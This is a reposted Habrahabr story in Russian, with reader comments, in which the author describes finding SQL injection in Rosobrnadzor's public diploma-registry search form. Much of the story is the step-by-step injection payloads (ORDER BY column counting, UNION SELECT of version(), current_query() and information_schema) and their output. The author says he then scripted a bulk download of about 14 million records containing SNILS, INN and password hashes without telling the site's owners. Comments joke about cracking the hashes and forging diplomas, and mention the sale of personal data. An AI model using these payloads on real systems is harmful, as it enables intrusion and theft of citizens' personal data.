"И так сойдёт… или как данные 14 миллионов россиян оказались у меня в руках""https://habrahabr. / текст :: дыра :: инн :: СНИЛС :: рособрнадзор :: много букв :: obrnadzor :: geektimes :: habrahabr :: длиннопост :: PostgreSQL :: sql :: информационная безопасность :: взлом :: Истории

взлом информационная безопасность sql длиннопост geektimes habrahabr текст много букв СНИЛС дыра ...story PostgreSQL obrnadzor инн рособрнадзор 
"И так сойдёт… или как данные 14 миллионов россиян оказались у меня в руках"

"https://habrahabr.ru/post/347760/"


Одиноким вечером, глядя на свою пустую зачётку и осознавая, что конец близок, я снова задумался о том, как бы мне сейчас собрать сумку, или даже просто рюкзак, положить туда рубашку, шорты и свалить в тёплую страну. Было бы хорошо, да вот с дипломом живётся намного лучше. Во всяком случае, мне всегда так говорят.

Также часто слышал много историй про людей, которые приходили на собеседования с красными дипломами МГУ, но при этом абсолютно не разбирались в своей специальности, а потом на корпоративах признавались, что диплом у них купленный.

Но времена сейчас другие, сейчас 21 век, век больших возможностей, любой работодатель, который умеет пользоваться мышкой и знает, как выглядит браузер на рабочем столе, может проверить данные диплома. Каждый диплом, который выдаётся учебным заведением, теперь регистрируется в едином реестре, доступ к которому есть у каждого через сайт Федеральной службы по надзору в сфере образования и науки.


ФЕДЕРАЛЬНАЯ СЛУЖБА ПО НАДЗОРУ В СФЕРЕ ОБРАЗОВАНИЯ И НАУКИ
РОСОБРНАДЗОР,взлом,информационная безопасность,sql,PostgreSQL,длиннопост,geektimes,habrahabr,текст,Истории,obrnadzor,много букв,рособрнадзор,СНИЛС,инн,дыра



Для получение информации о документе об образовании достаточно просто заполнить форму, передвинуть слайдер и нажать кнопку. Вам либо покажут информацию о документе, либо скажут, что такого нет (но ещё рано обвинять соискателя в обмане, мало ли, что могло произойти).


Для поиска введите точные значения реквизитов, указанные на бланке документа: Более подробно о работе с данным сервисом можно ознакомиться по ссылке
Уровень образования
Не выбрано
Уровна* обрио
Наименование 00: Фамилия обладателя документа: Серия бланка: Номер бланка Дата выдачи:
О Найти 00



Ну и пока я смотрел на эту форму, решил я с ней поиграться. Повводил всякой чепухи, и бац — на поле, в которое было введено 1', я получаю такой response:

<h2>Произошла ошибка</h2><p>SQLSTATE[42601]: Syntax error: 7 ERROR: syntax error at or near "4"LINE 6: ...me) = UPPER('1'')) AND (doc.education_level_id = '4') AND (U... ^</p>


Голый SQL Injection. Очевидно, что задачи продумать обработку ошибок перед разработчиком не было. Задача была сделать сервис, который работает. Сервис, который является гарантом. Так одинокий вечер превратился в весёлую одинокую ночь.


Ещё будучи подростком я очень любил всякие крутые истории про хакеров, а после того, как решил заняться программированием, изредка почитывал и интересные статьи по взлому и прочему. Так что то, что нужно делать дальше — я знал.

Так как разработчик этого сервиса дал нам удовольствие видеть ещё и часть запроса, то мы можем с уверенностью предположить, что это SELECT запрос. Теперь нам нужно как-то обнулить действие запроса, записанного в php-скрипте, а потом с помощью переменной вставить свой.

Для обнуления запроса достаточно просто добавить невозможное условие и закомментировать последующие строки запроса, что-то наподобие:

Инъекция

...me) = UPPER('1') AND (1=0)) — ')) AND (doc.education_level_id = '4') AND (U…


В ответ просто пришло сообщение о том, что документ не найден.

Также пробовал использовать вместо невозможного условия, наоборот, очевидные. А именно пробовал искать какой-либо документ по id. Писал id=1, id=1024 и прочее, но результатов не дало. Видимо, id давно перевалило за тысячи (спойлер: за миллионы).

Также я совершенно не надеялся на то, что запрос придёт без ошибки. Я был уверен, что пробелы будут экранироваться, удаляться, запрещаться, ещё что-нибудь. Ведь в форме на странице поиска ввести фамилию с пробелами невозможно. Но всё оказалось в разы проще.

Ну а теперь бы хотелось вытащить что-то действительно интересное. Изменить структуру ответа мы не можем никак, то есть если в запросе были, например, SELECT id, name, count, то так оно и останется. Значит надо подстраиваться, а для начала понять, какие же данные запрашиваются из БД, и, главное, сколько? Существует много способов узнать количество полей, но мне помог только ORDER BY. Как это работает?

ORDER BY сделан для сортировки, но его синтаксис не требует обязательно указывать имя поля, достаточно указать его позицию в запросе. Если указать номер позиции больше, чем количество запрашиваемых полей — то будет ошибка. Методом перебора можно подобрать количество полей. Их оказалось 55.

Хочется понять, с чем же мы работаем, что это за база данных такая? Предположим, что это MySQL, в MySQL есть функция Version(), которая возвращает версию БД. Применим:

Инъекция

...me) = UPPER('1') AND (1=0)) UNION SELECT 1,version(),тут ещё 53 поля, типы которых ещё надо определить методом подбора — ')) AND (doc.education_level_id = '4') AND (U…


В ответ пришёл JSON, в котором было:

PostgreSQL 9.1.2 on x86_64-alt-linux-gnu, compiled by x86_64-alt-linux-gcc (GCC) 4.5.3 20120111 (ALT Linux 4.5.3-alt1.M60C.1), 64-bit
Отлично, мы знаем систему, версию БД (под неё вроде даже эксплоиты были). Поле для действия расширилось. Узнаём, как выглядит запрос:

Инъекция

...me) = UPPER('1') AND (1=0)) UNION SELECT 1,current_query(),тут ещё 53 поля, типы которых ещё надо определить методом подбора — ')) AND (doc.education_level_id = '4') AND (U…


Ответ:
"SELECT "doc".*, "doc_type"."type", "stat"."name" AS "status", "level"."name" AS "level", "rec"."name" AS "rec_name", "rec"."surname" AS "rec_surname", "rec"."patronymic" AS "rec_lastname" FROM "documents" AS "doc" LEFT JOIN "document_types" AS "doc_type" ON doc_type.id = doc.document_type_id LEFT JOIN "document_packages" AS "dp" ON doc.document_package_id = dp.id LEFT JOIN "documents_status" AS "stat" ON stat.id = doc.status_id LEFT JOIN "education_levels" AS "level" ON level.id = doc.education_level_id LEFT JOIN "recipients" AS "rec" ON rec.id = doc.recipient_id WHERE (dp.status = 3) AND (doc.organization_id = '573') AND (doc.year = '2018-01-01') AND (UPPER(rec.surname) = UPPER('1')) UNION SELECT 1,current_query(),'3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '01.01.1970', '01.01.1970', '21', '01.01.1970', '23', '24', '25', '26', '01.01.1970', '28', '29', '30', '31', '32', '33', '28-05-2004 11:11:59', '35', '36', '28-05-2004 11:11:59', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55' -- ')) AND (doc.education_level_id = '4') AND (UPPER(doc.series) = UPPER('1')) AND (doc.number = '1') LIMIT 1"

Вся картина перед нами.

Попробуем узнать, что же за таблицы есть во всей базе данных:

Инъекция

...me) = UPPER('1') AND (1=0)) UNION SELECT 1,table_name,тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.tables — ')) AND (doc.education_level_id = '4') AND (U…


Таким образом получили все таблицы. Узнаём столбцы каждой таблицы следующим образом:

Инъекция

...me) = UPPER('1') AND (1=0)) UNION SELECT 1,CONCAT(column_name,' ',data_type,' ',is_nullable),тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.columns WHERE table_name='Какое-то имя таблицы' — ')) AND (doc.education_level_id = '4') AND (U…


Итак, зная структуру базы данных, я написал скрипт на Питон и выкачал все самые интересные на мой взгляд данные. А именно:

Таблицу с дипломами об образовании (серия, номер, год поступления, год окончания, СНИЛС!, ИНН!!, серия и номер паспорта (честно говоря, у всех записей поля пустые, но сам факт!), дата рождения, национальность (зачем?), учебная организация, выдавшая документ), таблицу с гражданами с образованием (там всё проще: ФИО и всё), таблицу с пользователями системы (стандартно, логин, email, и, НЕОЖИДАНО, md5 хэш пароля, хоть не сам пароль), отдельная таблица admin с одной записью (так же: логин, хэш пароля и прочее), таблица с информацией об учебных заведениях (кто начальник, email, телефон, лицензия — в общем всё, что и так есть в открытом доступе) и ещё кучу вспомогательных таблиц.

По объёмам получилось: около 14 000 000 документов об образовании, около 14 000 000 записей с данными о бывших студентах, 1322 пользователя системы, 1 админ, который логинится по будням в системе, видимо, когда на работу приходит, 3391 учебное заведение и горы непонятной информации типа ОКОГУ и прочее. База весом 5 гб.

А теперь представьте, сколько времени это качалось. Вы думаете, кто-то заметил? Может быть сервис резко отключился, ip заблокировали или ещё что-то? НЕТ!

Конечно, целью не является использовать эту информацию в корыстных целях (да я и не представляю, как). Иначе бы я не писал статью здесь. Но и писать лично администрации сайта или кто там за него отвечает я тоже не горю желанием, хватило истории про Микротех.

Дополнительно решил проверить хэши по радужным таблицам. Не уверен, конечно, что они хэшировались именно голым md5, но, во всяком случае, в открытых базах данных совпадений ни к одному хэшу не нашлось. Или я что-то не умею.

Мог бы я продолжить и получить доступ в систему? Смог бы я сам изменять записи и добавлять свои? Вполне возможно, но я решил этого не делать. Да и сессию надо закрывать, без диплома-то никак…



Подробнее
ФЕДЕРАЛЬНАЯ СЛУЖБА ПО НАДЗОРУ В СФЕРЕ ОБРАЗОВАНИЯ И НАУКИ РОСОБРНАДЗОР
Для поиска введите точные значения реквизитов, указанные на бланке документа: Более подробно о работе с данным сервисом можно ознакомиться по ссылке Уровень образования Не выбрано Уровна* обрио Наименование 00: Фамилия обладателя документа: Серия бланка: Номер бланка Дата выдачи: О Найти 00 по справочнику Расширенный поиск ' а О Очистить данные поиска В реестр :«••* сведения о 12 765 561 документах (;,мы актуаг**ы иа 27.01.2018)
взлом,информационная безопасность,sql,PostgreSQL,длиннопост,geektimes,habrahabr,текст,Истории,obrnadzor,много букв,рособрнадзор,СНИЛС,инн,дыра
Еще на тему
Развернуть
У тебя есть хэш, а кто у нас хорошо хэши перебирает???
А вы ещё спрашиваете зачем нужна крипта...(МГУоин)
А что там за история с Микротехом?
Доступ к публикации закрыт Вы пытаетесь открыть публикацию, написанную пользователем однако, публикация скрыта в черновики (самим автором или НЛО)
Это инъекция?
Она сработала?
Если парсер текста с картинки написан говнокодом, считает этот текст (хотя должен только номера автомобилей) и чувак угадал, что таблица называется `tablice`, то сработает.
По шарь в дип нете. Там есть сайты которые продают информацию граждан разных стран. Раз кто-то продает, значит кто-то покупает) Но если что я ничего не говорил. Последний раз натыкался на 100 тыс за 0,005 btc (вроде паспорта, но уже не помню, давно дело было, да и вообще это не я, это мне друг рассказывал, ну как друг знакомый, просто мимо проходил, давно уже с ним не общаюсь)
Romin Romin29.01.201819:18ответитьссылка -1.5
Так паспортных данных там нет же, оп сказал графы пустые
А ты уверен что он сказал правду?
Раз графы есть, значит их просто пока что не заполнили. Ну да. Я проморгал. Вот блин. Теперь наверное как-нибудь починят(
Да, но СНИЛС и ИНН то есть.
нафиг тебе сессия, сделал бы на этом сайте себе красный диплом
Потом препод бы обнаружил его с утра, сидящим в его кресле с закинутыми на стол ногами, покуривающим сигару и листающим большую пачку свежих синих дипломных вкладышей
Перед этим удалив инфу о дипломе препода из базы.
В целом ничего удивительного, что разработчику сказали, то и сделал, я да же не поверю, что это было сделано без откатов...
А конфиденциальность ваших данных их не интересует, им свои нужно скрывать имена в БД менять, засекречивать и скрывать всё, что можно.
юный хакер)
Это тебе на TJ пророчат срок или благодарность от Рособрнадзора?
https://tjournal.ru/65594-polzovatel-habrahabra-zayavil-o-vzlome-sayta-rosobrnadzora-s-dannymi-14-millionov-chelovek
Нет это паста с хабра. Мопед не мой как говорится.
Да, и нечаяно слово в слово совпала цитата хакера. :)
А теперь представьте, сколько времени это качалось. Вы думаете, кто-то заметил? Может быть сервис резко отключился, 1Р заблокировали или ещё что-то? Нет! ИогаО пользователь «Хабрахабра»
Неплохая схема получается:
1. Добавил запись
2. Подал заявку на восстановление
3. Легально получил диплом
4. ????
5. Продал легальный диплом
SQL инъекция? Серьезно? Это блин самый дебильный вид атаки, овладеть которым может любой школьник за 5 минут, а контрмера к нему встроена в большинство фреймворков. ASP эту гадость подефолту фильтрует. Этот сайт, что, писали его на голом ПХП люди только скачавшие книжку по нему? Пипец, оставить эту уязвимость для программиста, все равно что помереть на толчке.
Услуги такого качества не могут стоить дороже 20-30 т.р., а сайт, я уверен, обошелся в несколько миллионов рублей.
Кто сказал что такая фича не планировалась при разработке сайта?
Только зарегистрированные и активированные пользователи могут добавлять комментарии.
Похожие темы

Похожие посты
11! i 1 * \Æ ■ 1 1 У ■ |L m A Ш ■ 1 Ши/ I * 1 / ■VФЕДЕРАЛЬНАЯ НАЛОГОВАЯ СЛУЖБА Хранение чеков в одном месте Мои чеки — § М ООО "Максидом' В 232,60 Р 29.06 2020 Пол>**м ЖО Аптека ИП Жукова О.Н. О 518,50 Р 3006 2020 С жалобой М ООО "МВМ" О 2 990 Р 0607.2020 С жалобой <Ф ООО <ОБИ ФЦ> О 961,40 Р 09072020 С жалобой ДИ ООО "ДОМАШНИЙ ИНТЕРЬ
подробнее»

информационная небезопасность дыра уязвимость новости habrahabr длинопост информационная безопасность it мопед не мой habr Российская федерация страны копипаста

ФЕДЕРАЛЬНАЯ НАЛОГОВАЯ СЛУЖБА Хранение чеков в одном месте Мои чеки — § М ООО "Максидом' В 232,60 Р 29.06 2020 Пол>**м ЖО Аптека ИП Жукова О.Н. О 518,50 Р 3006 2020 С жалобой М ООО "МВМ" О 2 990 Р 0607.2020 С жалобой <Ф ООО <ОБИ ФЦ> О 961,40 Р 09072020 С жалобой ДИ ООО "ДОМАШНИЙ ИНТЕРЬ
««««/- ж««««Adventures in buttplug penetration (testing) y @smealum Г* >1, / ULmI 1 1 * I ж ^ Хчи’;(ТЯ^1| . J
подробнее»

информационная безопасность дилдо взлом DEFCON 27 хабр доклад

Adventures in buttplug penetration (testing) y @smealum Г* >1, / ULmI 1 1 * I ж ^ Хчи’;(ТЯ^1| . J
@dataleak Name Description Weight in zip-archive CDEK.ru - Post Service Email, phone, full name 30.6 GB Download Yandex Food (eda.yandex.ru, lavka.yandex, magnit.ru) Names, home addresses, phones, order date, order price, delivery service, etc. 10.7 GB Download Утечки информации vkusnyesushi
подробнее»

информационная безопасность яндекс интернет новости взлом habr песочница политоты политика,политические новости, шутки и мемы информационная небезопасность

@dataleak Name Description Weight in zip-archive CDEK.ru - Post Service Email, phone, full name 30.6 GB Download Yandex Food (eda.yandex.ru, lavka.yandex, magnit.ru) Names, home addresses, phones, order date, order price, delivery service, etc. 10.7 GB Download Утечки информации vkusnyesushi